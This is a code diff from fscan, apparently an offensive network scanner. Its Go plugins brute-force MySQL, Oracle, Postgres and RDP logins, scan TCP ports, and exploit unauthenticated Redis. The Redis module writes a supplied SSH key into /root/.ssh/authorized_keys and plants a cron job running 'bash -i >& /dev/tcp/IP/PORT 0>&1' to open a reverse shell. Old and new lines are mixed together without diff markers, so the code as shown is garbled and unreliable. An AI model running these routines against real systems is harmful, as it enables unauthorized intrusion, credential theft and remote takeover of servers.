pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
return err
}
func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
Loop:
for _,user:=range common.Userdict["mysql"]{
for _,pass:=range common.Passwords{
pass = strings.Replace(pass, "{user}", string(user), -1)
flag,err := MysqlConn(info,user,pass,ch,wg)
if flag==true && err==nil {
break Loop
}
}
}
return tmperr
wg.Done()
<- ch
}
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func MysqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql")
db, err := sql.Open("mysql", dataSourceName)
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
return flag,err
}
-57
View File
@@ -1,57 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
func OracleScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["oracle"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
db, err := sql.Open("oracle", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] oracle:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
+124 -95
View File
@@ -2,117 +2,146 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"sort"
"strconv"
"strings"
"sync"
"time"
"../common"
)
type Addr struct {
ip string
port int
func ParsePort(ports string) []int {
var scanPorts []int
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
sort.Strings(ranges)
port = ranges[0]
upper = ranges[1]
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
return scanPorts
}
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
temp[port] = struct{}{}
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) {
Timeout := time.Duration(adjustedTimeout) * time.Second
for port := range ports{
start := time.Now()
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second)
duration := time.Now().Sub(start)
if err == nil {
defer con.Close()
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open",address)
common.LogSuccess(result)
respondingHosts <- address
}
for _, port := range noPorts {
delete(temp, port)
if duration < Timeout {
difference := Timeout - duration
Timeout = Timeout - (difference / 2)
}
var newDatas []int
for port, _ := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
workers := common.Threads
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
results := make(chan string, len(hostslist)*len(probePorts))
var wg sync.WaitGroup
done <- true
}
//接收结果
func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) {
ports := make(chan int, 20)
results := make(chan string, 10)
done := make(chan bool, threads)
for worker := 0; worker < threads; worker++ {
go ProbeHosts(address, ports, results, done, model, adjustedTimeout)
}
for _,port := range probePorts{
ports <- port
}
close(ports)
var responses = []string{}
for {
select {
case found := <-results:
responses = append(responses, found)
case <-done:
threads--
if threads == 0 {
return responses, nil
}
case <-time.After(timeout):
return responses, nil
}
}
}
func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]string,[]string){
var AliveAddress []string
var aliveHosts []string
probePorts := ParsePort(ports)
lm := 20
if (len(hostslist)>5 && len(hostslist)<=50) {
lm = 40
}else if(len(hostslist)>50 && len(hostslist)<=100){
lm = 50
}else if(len(hostslist)>100 && len(hostslist)<=150){
lm = 60
}else if(len(hostslist)>150 && len(hostslist)<=200){
lm = 70
}else if(len(hostslist)>200){
lm = 75
}
thread := 5
if (len(probePorts)>500 && len(probePorts)<=4000) {
thread = len(probePorts)/100
}else if (len(probePorts)>4000 && len(probePorts)<=6000) {
thread = len(probePorts)/200
}else if (len(probePorts)>6000 && len(probePorts)<=10000) {
thread = len(probePorts)/350
}else if (len(probePorts)>10000 && len(probePorts)<50000){
thread = len(probePorts)/400
}else if (len(probePorts)>=50000 && len(probePorts)<=65535){
thread = len(probePorts)/500
}
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, lm)
aliveHost := make(chan string, lm/2)
go func() {
for found := range results {
AliveAddress = append(AliveAddress, found)
wg.Done()
for s := range aliveHost {
fmt.Println(s)
}
}()
//多线程扫描
for i := 0; i < workers; i++ {
go func() {
for addr := range Addrs {
PortConnect(addr, results, timeout, &wg)
wg.Done()
for _,host :=range hostslist{
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{
mutex.Lock()
aliveHosts = append(aliveHosts,host)
for _,addr :=range aliveAdd{
AliveAddress = append(AliveAddress,addr)
}
mutex.Unlock()
}
}()
}
//添加扫描目标
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
Addrs <- Addr{host, port}
}
<-limiter
}(host)
}
wg.Wait()
close(Addrs)
close(results)
return AliveAddress
}
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err == nil {
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open", address)
common.LogSuccess(result)
wg.Add(1)
respondingHosts <- address
}
}
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
var newDatas []int
for port, _ := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
for _, port := range probePorts {
for _, host := range hostslist {
address := host + ":" + strconv.Itoa(port)
AliveAddress = append(AliveAddress, address)
}
}
return
close(aliveHost)
return aliveHosts,AliveAddress
}
+20 -29
View File
@@ -1,55 +1,46 @@
package Plugins
import (
"../common"
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
"strings"
"sync"
"time"
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
Loop:
for _,user:=range common.Userdict["postgresql"]{
for _,pass:=range common.Passwords{
pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
return err
}
flag,err := PostgresConn(info,user,pass,ch,wg)
if flag==true && err==nil {
break Loop
}
}
}
return tmperr
wg.Done()
<- ch
}
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func PostgresConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName)
Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable")
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
return flag,err
}
-197
View File
@@ -1,197 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"strconv"
"strings"
"sync"
"time"
)
type Brutelist struct {
user string
pass string
}
func RdpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
var wg sync.WaitGroup
var signal bool
var num = 0
var all = len(common.Userdict["rdp"]) * len(common.Passwords)
var mutex sync.Mutex
brlist := make(chan Brutelist, all)
port, _ := strconv.Atoi(info.Ports)
for _, user := range common.Userdict["rdp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
brlist <- Brutelist{user, pass}
}
}
for i := 0; i < common.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
}
close(brlist)
go func() {
wg.Wait()
signal = true
}()
for !signal {
}
return tmperr
}
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
defer wg.Done()
for one := range brlist {
if *signal == true {
return
}
go incrNum(num, mutex)
user, pass := one.user, one.pass
flag, err := RdpConn(host, domain, user, pass, port, timeout)
if flag == true && err == nil {
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP:%v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP:%v:%v:%v %v", host, port, user, pass)
}
common.LogSuccess(result)
*signal = true
return
} else {
errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
common.LogError(errlog)
}
}
}
func incrNum(num *int, mutex *sync.Mutex) {
mutex.Lock()
*num = *num + 1
mutex.Unlock()
}
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
target := fmt.Sprintf("%s:%d", ip, port)
g := NewClient(target, glog.NONE)
err := g.Login(domain, user, password, timeout)
if err == nil {
return true, nil
}
return false, err
}
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
//g.sec.SetClientAutoReconnect()
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}
+135 -320
View File
@@ -1,393 +1,208 @@
package Plugins
import (
"../common"
"bufio"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"sync"
"time"
)
var (
dbfilename string
dir string
)
func RedisScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info)
if flag == true && err == nil {
return err
}
if common.IsBrute {
func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
flag,err := RedisUnauth(info)
if flag==true && err==nil {
wg.Done()
<- ch
return
}
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
return err
Loop:
for _,pass:=range common.Passwords{
pass = strings.Replace(pass, "{user}", string("redis"), -1)
flag,err := RedisConn(info,pass,ch,wg)
if flag==true && err==nil {
break Loop
}
}
}
return tmperr
wg.Done()
<- ch
}
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
func RedisConn(info *common.HostInfo,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return flag, err
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
if err != nil{
return flag,err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "+OK") {
flag = true
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
common.LogSuccess(result)
return flag, err
} else {
result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
common.LogSuccess(result)
}
err = Expoilt(realhost, conn)
}
return flag, err
}
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "redis_version") {
flag = true
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
common.LogSuccess(result)
return flag, err
} else {
result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
common.LogSuccess(result)
}
err = Expoilt(realhost, conn)
}
return flag, err
}
func Expoilt(realhost string, conn net.Conn) error {
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
if flagSsh == true {
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
defer conn.Close()
conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass)))
reply,err := readreply(conn)
//common.LogSuccess(result)
if strings.Contains(reply,"+OK"){
result := fmt.Sprintf("Redis:%s %s",realhost,pass)
common.LogSuccess(result)
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
if err != nil {
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
return err
}
if writeok {
result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("[-] Redis:", realhost, "SSHPUB write failed", text)
}
}
}
flag = true
Expoilt(info ,realhost,conn)
if flagCron == true {
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result)
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell)
if err != nil {
return err
}
if writeok {
result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("[-] Redis:", realhost, "cron write failed", text)
}
}
}
err = recoverdb(dbfilename, dir, conn)
return err
return flag,err
}
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
func RedisUnauth(info *common.HostInfo) (flag bool,err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return flag, text, err
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
if err != nil{
return flag,err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
defer conn.Close()
conn.Write([]byte("info\r\n"))
reply,err := readreply(conn)
if strings.Contains(reply,"redis_version"){
result := fmt.Sprintf("Redis:%s unauthorized",realhost)
common.LogSuccess(result)
flag = true
Expoilt(info ,realhost,conn)
}
if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return flag, text, err
return flag,err
}
func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) {
flagSsh,flagCron := testwrite(conn)
if flagSsh == true{
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost)
common.LogSuccess(result)
if info.RedisFile != ""{
if writeok,text := writekey(conn,info.RedisFile);writeok{
result := fmt.Sprintf("%v SSH public key was written successfully",realhost)
common.LogSuccess(result)
}else {
fmt.Println(realhost,"SSHPUB write failed",text)
}
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if flagCron == true{
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost)
common.LogSuccess(result)
if info.RedisShell != "" {
if writeok,text := writecron(conn,info.RedisShell);writeok{
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost)
common.LogSuccess(result)
}else {
fmt.Println(realhost,"cron write failed",text)
}
}
if strings.Contains(text, "OK") {
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
}
}
func writekey(conn net.Conn,filename string) (flag bool,text string) {
flag = false
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
text,_ = readreply(conn)
if strings.Contains(text,"OK") {
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
text,_ = readreply(conn)
if strings.Contains(text,"OK") {
key,_ := Readfile(filename)
conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key)))
text,_ = readreply(conn)
if strings.Contains(text,"OK") {
conn.Write([]byte(fmt.Sprintf("save\r\n")))
text,_ = readreply(conn)
if strings.Contains(text,"OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
if len(text) > 50{
text = text[:50]
}
return flag, text, err
return flag,text
}
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
func writecron(conn net.Conn,host string) (flag bool,text string) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
target := strings.Split(host, ":")
if len(target) < 2 {
return flag, "host error", err
}
scanIp, scanPort := target[0], target[1]
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
text,_ = readreply(conn)
if strings.Contains(text,"OK") {
conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
text,_ = readreply(conn)
if strings.Contains(text,"OK") {
scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1]
conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port)))
text,_ = readreply(conn)
if strings.Contains(text,"OK") {
conn.Write([]byte(fmt.Sprintf("save\r\n")))
text,_ = readreply(conn)
if strings.Contains(text,"OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
if len(text) > 50{
text = text[:50]
}
return flag, text, err
return flag,text
}
func Readfile(filename string) (string, error) {
func Readfile(filename string)(string,error){
file, err := os.Open(filename)
if err != nil {
return "", err
if err!=nil{
fmt.Println("Open %s error, %v", filename,err)
return err.Error(),err
}
defer file.Close()
scanner := bufio.NewScanner(file)
//scanner.Split(bufio.ScanLines)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
//text := strings.TrimSpace(scanner.Text())
text := scanner.Text()
if text != "" {
return text, nil
return text,nil
}
}
return "", err
return err.Error(),err
}
func readreply(conn net.Conn) (result string, err error) {
size := 5 * 1024
buf := make([]byte, size)
func readreply(conn net.Conn) (result string,err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result += string(buf[0:count])
if count < size {
if count < 4096 {
break
}
}
return result, err
return result,err
}
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
func testwrite(conn net.Conn) (flagSsh bool,flagCron bool) {
flagSsh = false
flagCron = false
var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return flag, flagCron, err
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
text,_ = readreply(conn)
if strings.Contains(string(text),"OK") {
flagSsh = true
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
text,_ = readreply(conn)
if strings.Contains(string(text),"OK") {
flagCron = true
}
return flag, flagCron, err
}
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return
}
text, err := readreply(conn)
if err != nil {
return
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
if err != nil {
return
}
text, err = readreply(conn)
if err != nil {
return
}
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
return
}
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil {
return
}
dbfilename, err = readreply(conn)
if err != nil {
return
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
dir, err = readreply(conn)
if err != nil {
return
}
return
}
return flagSsh,flagCron
}
+60 -98
View File
@@ -1,120 +1,30 @@
package Plugins
import (
"../common"
"errors"
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
)
func Scan(info common.HostInfo) {
fmt.Println("start infoscan")
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
if err != nil {
fmt.Println("len(hosts)==0", err)
return
}
lib.Inithttp(common.Pocinfo)
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
if len(Hosts) > 0 {
if common.IsPing == false {
Hosts = CheckLive(Hosts, common.Ping)
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
}
if common.Scantype == "icmp" {
common.LogWG.Wait()
return
}
var AlivePorts []string
if common.Scantype == "webonly" {
AlivePorts = NoPortScan(Hosts, info.Ports)
} else {
AlivePorts = PortScan(Hosts, info.Ports, common.Timeout)
fmt.Println("[*] alive ports len is:", len(AlivePorts))
if common.Scantype == "portscan" {
common.LogWG.Wait()
return
}
}
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
fmt.Println("start vulscan")
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if common.Scantype == "all" || common.Scantype == "main" {
switch {
case info.Ports == "135":
AddScan(info.Ports, info, ch, &wg) //findnet
case info.Ports == "445":
//AddScan(info.Ports, info, ch, &wg) //smb
AddScan("1000001", info, ch, &wg) //ms17010
//AddScan("1000002", info, ch, &wg) //smbghost
